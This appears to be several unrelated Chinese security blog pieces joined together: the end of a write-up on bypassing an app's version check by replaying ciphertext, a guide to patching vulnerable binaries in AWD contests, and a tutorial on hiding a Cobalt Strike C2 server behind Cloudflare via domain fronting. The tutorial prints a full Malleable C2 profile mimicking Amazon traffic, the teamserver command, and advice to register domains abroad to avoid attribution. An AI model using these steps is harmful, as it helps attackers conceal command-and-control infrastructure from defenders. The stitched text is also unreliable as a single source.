验签代码一样需要用hook去绕过。所以前面说的方法一也是行不通的。然后我又突发奇想,有没有可能他密文里面就包含版本信息,那如果我使用99.9.99的版本,抓取密文,然后再安装旧版APP,在他去请求版本更新时,替换密文,是不是可以绕过呢?经过尝试,结果是:可以。他的版本校验就是在服务端,这种方法也可以绕过。 总结: 不用轻易相信别人留下的信息,还是得根据自己的分析得出结论。其实后续我一直在想为什么那个字段是des呢,感觉之前是des加密,后续金融行业都进行了国密改造,然后字段并未更改,导致这种现象,当然只是猜测。至此,已完成对这APP的抓包和加解密。
AWDPwn 漏洞加固总结
AWD简介 AWD(Attack With Defense,攻防兼备) 模式需要在一场比赛里要扮演攻击方和防守方,利用漏洞攻击其他队伍进行得分,修复漏洞可以避免被其他队伍攻击而失分。也就是说,攻击别人的靶机可以获取 Flag 分数时,别人会被扣分,同时也要保护自己的主机不被别人攻陷而扣分。 Patch-PWN 各家 awd 平台检查机制各不相同,原则上是只针对漏洞点进行 patch 加固,也就是最小修改加固。以下总结不需要改动文件大小、针对漏洞点进行 patch 的几种漏洞类型。 Patch资料 跳转指令 无符号跳转 汇编指令描述JA无符号大于则跳转JNA无符号不大于则跳转JAE无符号大于等于则跳转(同JNB)JNAE无符号不大于等于则跳转(同JB)JB无符号小于则跳转JNB无符号不小于则跳转JBE无符号小于等于则跳转(同JNA)JBNE无符号不小于等于则跳转(同JA) 有符号跳转 汇编指令描述JG有符号大于则跳转JNG有符号不大于则跳转JGE有符号大于等于则跳转(同JNL)JNGE有符号不大于等于则跳转(同JL)JL有符号小于则跳转JNL有符号不小于则跳转JLE有符号小于等于则跳转(同JNG)JNLE有符号不小于等于则跳转(同JG) Patch-整数溢出 Scanf 以 long int 长整形读取输入到 unsigned int 变量 v2 中,然后将 v2 强制转为 int 再与int 48 比较。 但从 scanf 读入一个负数时,最高位为 1 ,从 unsigned int 强制转换为 int 结果是负数,必定比 48 小,在后面 read 读入会造成栈溢出。 Patch方法 将第 9 行的 if 跳转汇编指令 patch 为无符号的跳转指令。 使用 keypatach 进行修改: jle --> jbe Patch-栈溢出 对于栈溢出加固,x64 更容易一些,因为是使用寄存器传参,而x86 使用栈传参,需要用 nop 等保持加固前后的空间不变。 x64 Patch方法 100 是第三个参数,存储寄存器是 rdx ,找到给 rdx 传参的汇编指令进行 patch 使用 ida 默认修改插件修改(Edit-Patch Program-Change word),也可以用 keypatach : 0x64 是长度 0xBA 是操作符 0x64 --> 0x20 x86 不需要对齐 找到压栈的指令,修改压入的数值 修改数值需要补上 0x 这里修改前 size 为 2 ,修改后 size 也为 2 ,所以这题 patch 不需要用 nop 保持 size 需要对齐 找到压栈的指令,修改压入的数值 直接修改 0x20 后,size 长度不对齐,会引起栈空间变化,需要用 nop 进行对齐: 更方便快捷方法是勾选 NOPs padding until next instruction boundary 进行自动填充。 Patch-格式化字符串 修改函数 将 printf 改为 puts ,将 call 的地址改为 puts plt 地址: 这个方法局限性在于:puts 会在原字符串多加 \n ,主办方 check 可能会因此而不通过 修改printf参数 将 printf(format) 修改为 printf("%s",format) 修改 printf 前面的传参指令: mov edi, offset 0x400c01;mov esi,offset format; Patch-UAF 修改逻辑是劫持 call 指令跳转到 .eh_frame 段上写入的自定义汇编程序。 先在 .eh_frame 段上写入代码,首先是 call free 完成释放,然后对 chunk_list 进行置零。取 chunk_list 地址的汇编可以从 call free 前面抄过来: call 0x900;           #调用free函数(plt地址)mov     eax, [rbp-0xc]; #取出下标值cdqe;lea     rdx, ds:0[rax*8];lea rax, qword ptr [heap];mov r8,0; #段地址不能直接赋予立即数mov [rdx+rax],r8;jmp 0xD56; #跳回原来的地址 Patch-if范围 假设需要将图上第二个 if 放到 if 结构内,修改跳转的地址即可: 原始跳转代码: js 0x40081C --> js 0x400845 Patch-更换危险函数 类似与 uaf 一样写汇编实现功能调用,将危险函数替换为其他函数,如果程序中没有目标函数,就通过系统调用方式调用。 将 gets 替换为 read 输入 .eh_frame 写入汇编,将 rdi 的写入地址移动到 rsi ,把其他寄存器也传参之后进行系统调用:
域前置技术和C2隐藏
域前置介绍 域前置又译为域名幌子,是一种隐藏连接真实端点来规避审查的技术。在应用层上运作时,域前置使用户能通过HTTPS连接到被屏蔽的服务,而表面上像在与另一个完全不同的站点通信。 域前置工作原理 域前置核心就是CDN,可以通过添加 A 记录或 AAAA 记录解析的方式将网站域名指向网站服务器公网 IP 地址,来实现用户可以通过域名直接访问已部署在服务器上的网站,而无需使用难记且无明显标识的 IP 地址访问。CDN能够对域名进行加速,当对某个域名进行访问时,并不会直接解析到IP,因此可以给攻击VPS申请一个CDN加速服务,从而达到隐藏IP的效果 CDN工作原理 CDN又叫内容分发网络(Content Delivery Network) 当用户访问域名时,先请求LDNS(即本地dns),如果有缓存会返回给用户ip地址,如果LNDS无缓存即向授权DNS请求,授权DNS解析域名返回别名域名,域名解析请求发送至公有云DNS调度系统,则会分配最佳节点ip地址,LDNS会缓存该IP地址,用户根据该ip地址请求资源,节点ip隐藏了真实ip的地址。 搭建过程 这里选择腾讯云的域名 先实名后注册,注册时间可能比较久,在腾讯云服务器上,根据申请的域名添加解析记录。 域名备案,实际上国内的备案了之后Redteam已无法使用了。 注册 cloudflare https://www.cloudflare.com/zh-cn/进入后添加站点 输入申请的域名别名,选择免费即可 继续 这里会对域名的A记录和CNAME自动进行检测 这个时候邮箱会收到cloudflare的邮件。 修改dns记录,域名注册->我的域名->概览位置修改dns 然后等待dns刷新即可,此时我们ping一下我们的域名发现,解析后的ip地址不是真实的ip地址。 ip地址为cloudflare的ip nslookup查询 SSL/TLS 如果要实现https加密需要下载配置c2证书 下载证书 在VPS需重新生成cs的配置文件cobalstrike.store C2配置隐藏 项目地址 https://github.com/rsmudge/Malleable-C2-Profilesset sleeptime "5000"; set jitter   "0"; set maxdns   "255"; set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"; http-get {   set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books";       client {           header "Accept" "*/*";       header "Host" "www.xxx.xxx";   #配置自己的根域名不是别名           metadata {           base64;           prepend "session-token=";           prepend "skin=noskin;";           append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";           header "Cookie";       }   }       server {           header "Server" "Server";       header "x-amz-id-1" "THKUYEZKCKPGY5T42PZT";       header "x-amz-id-2" "a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2tmZGl4aHRvNDVpbgo=";       header "X-Frame-Options" "SAMEORIGIN";       header "Content-Encoding" "gzip";           output {           print;       }   } } http-post {       set uri "/N4215/adj/amzn.us.sr.aps";       client {           header "Accept" "*/*";       header "Content-Type" "text/xml";       header "X-Requested-With" "XMLHttpRequest";       header "Host" "www.xxx.xxx";   #配置自己的根域名不是别名           parameter "sz" "160x600";       parameter "oe" "oe=ISO-8859-1;";           id {           parameter "sn";       }           parameter "s" "3717";       parameter "dc_ref" "http%3A%2F%2Fwww.amazon.com";           output {           base64;           print;       }   }       server {           header "Server" "Server";       header "x-amz-id-1" "THK9YEZJCKPGY5T42OZT";       header "x-amz-id-2" "a21JZ1xrNDNtdGRsa219bGV3YW85amZuZW9zdG5rZmRuZ2tmZGl4aHRvNDVpbgo=";       header "X-Frame-Options" "SAMEORIGIN";       header "x-ua-compatible" "IE=edge";           output {           print;       }   } } 启动服务端,调用配置文件 ./teamserver cs服务端ip password config.profile 生成监听 保存 生成64位的应用程序 成功上线 TIPS 实名注册的腾讯云域名的话是有备案的,所以这里的话建议选择国外的服务器注册域名。